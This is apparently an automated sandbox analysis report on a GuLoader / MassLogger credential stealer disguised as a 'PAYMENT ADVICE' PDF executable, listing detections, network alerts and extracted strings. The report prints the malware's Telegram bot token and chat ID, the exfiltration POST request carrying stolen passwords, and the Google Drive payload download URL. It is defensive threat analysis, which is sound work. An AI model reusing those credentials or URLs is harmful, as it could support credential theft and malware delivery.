Edit tour

Windows Analysis Report
PAYMENT ADVICE TT07180016-24_pdf.exe

Overview

General Information

Sample name:	PAYMENT ADVICE TT07180016-24_pdf.exe
Analysis ID:	1576542
MD5:	34dcd76e7a002a5f19d9842a70ba5c87
SHA1:	188373e893907df10ccf54559d05b6bb98ccdcf4
SHA256:	360acac9133b07ab36c79af7aa5e46850a97a297696bc812bfd25c4415ce4449
Tags:	exeuser-lowmal3
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Initial sample is a PE file and has a suspicious name

Sample has a suspicious name (potential lure to open the executable)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

PAYMENT ADVICE TT07180016-24_pdf.exe (PID: 7380 cmdline: "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe" MD5: 34DCD76E7A002A5F19D9842A70BA5C87)

PAYMENT ADVICE TT07180016-24_pdf.exe (PID: 7788 cmdline: "C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe" MD5: 34DCD76E7A002A5F19D9842A70BA5C87)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\tropaeola.Tel	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2032752399.0000000002900000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000004.00000002.2933469686.00000000016C0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2032752399.00000000034A1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: PAYMENT ADVICE TT07180016-24_pdf.exe PID: 7788	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: PAYMENT ADVICE TT07180016-24_pdf.exe PID: 7788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PAYMENT ADVICE TT07180016-24_pdf.exe PID: 7788	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 4 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:43:15.858902+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49747	149.154.167.220	443	TCP
2024-12-17T08:43:19.406922+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49759	149.154.167.220	443	TCP
2024-12-17T08:43:22.807206+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49766	149.154.167.220	443	TCP
2024-12-17T08:43:26.189057+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49778	149.154.167.220	443	TCP
2024-12-17T08:43:29.522042+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49784	149.154.167.220	443	TCP
2024-12-17T08:43:32.963762+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49794	149.154.167.220	443	TCP
2024-12-17T08:43:36.317018+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49805	149.154.167.220	443	TCP
2024-12-17T08:43:39.650464+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49813	149.154.167.220	443	TCP
2024-12-17T08:43:42.965077+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49825	149.154.167.220	443	TCP
2024-12-17T08:43:46.291647+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49834	149.154.167.220	443	TCP
2024-12-17T08:43:49.603821+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49844	149.154.167.220	443	TCP
2024-12-17T08:43:52.956466+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49852	149.154.167.220	443	TCP
2024-12-17T08:43:56.280424+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49861	149.154.167.220	443	TCP
2024-12-17T08:43:59.665974+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49871	149.154.167.220	443	TCP
2024-12-17T08:44:02.995888+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49880	149.154.167.220	443	TCP
2024-12-17T08:44:06.403244+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49890	149.154.167.220	443	TCP
2024-12-17T08:44:09.804010+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49899	149.154.167.220	443	TCP
2024-12-17T08:44:13.335584+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49910	149.154.167.220	443	TCP
2024-12-17T08:44:16.782812+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49918	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:43:05.227378+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	158.101.44.242	80	TCP
2024-12-17T08:43:13.633618+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	158.101.44.242	80	TCP
2024-12-17T08:43:17.383645+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49753	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:42:58.326935+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49736	172.217.19.174	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1e448cf4571dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034998000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BC7000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BA8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000349E8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034998000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BC7000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BA8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000349E8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034998000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BC7000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034791000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BA8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000349E8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2960541313.0000000036FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/7f
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2960541313.0000000036FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/V
Source: PAYMENT ADVICE TT07180016-24_pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034998000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BA8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000349E8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.0000000004038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935964085.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmDH
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2183352064.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.00000000040A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2183352064.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD&export=download
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.000000000408C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD&export=downloadj
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2183352064.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD&export=downloadtt
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.000000000408C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=16Wlyd_Vqizy5l4oyBE1RXq9ib6gP2vmD&export=downloady
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2183352064.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.00000000040A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/q
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.000000000409E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.000000000409E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.000000000409E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844

Source: unknown	HTTPS traffic detected: 172.217.19.174:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.200.225:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample	Static PE information: Filename: PAYMENT ADVICE TT07180016-24_pdf.exe
Source: initial sample	Static PE information: Filename: PAYMENT ADVICE TT07180016-24_pdf.exe

Sample has a suspicious name (potential lure to open the executable)

Source: PAYMENT ADVICE TT07180016-24_pdf.exe

Static file information: Suspicious name

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032A0

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00407041	4_2_00407041
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_0040686A	4_2_0040686A
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00404B30	4_2_00404B30
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00164328	4_2_00164328
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_001666B8	4_2_001666B8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00168DA0	4_2_00168DA0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00165968	4_2_00165968
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_001619B8	4_2_001619B8
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00165F90	4_2_00165F90
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_00162DD1	4_2_00162DD1
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747C638	4_2_3747C638
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747CCA0	4_2_3747CCA0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747331A	4_2_3747331A
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_374703AF	4_2_374703AF
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37477848	4_2_37477848
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747E79F	4_2_3747E79F
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747DEE1	4_2_3747DEE1
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_37476EA0	4_2_37476EA0
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747BD88	4_2_3747BD88
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747B4EC	4_2_3747B4EC
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747CC91	4_2_3747CC91
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747E339	4_2_3747E339
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747EBF7	4_2_3747EBF7
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747DA89	4_2_3747DA89
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747B944	4_2_3747B944
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747C1F2	4_2_3747C1F2
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747F042	4_2_3747F042
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Code function: 4_2_3747B07F	4_2_3747B07F
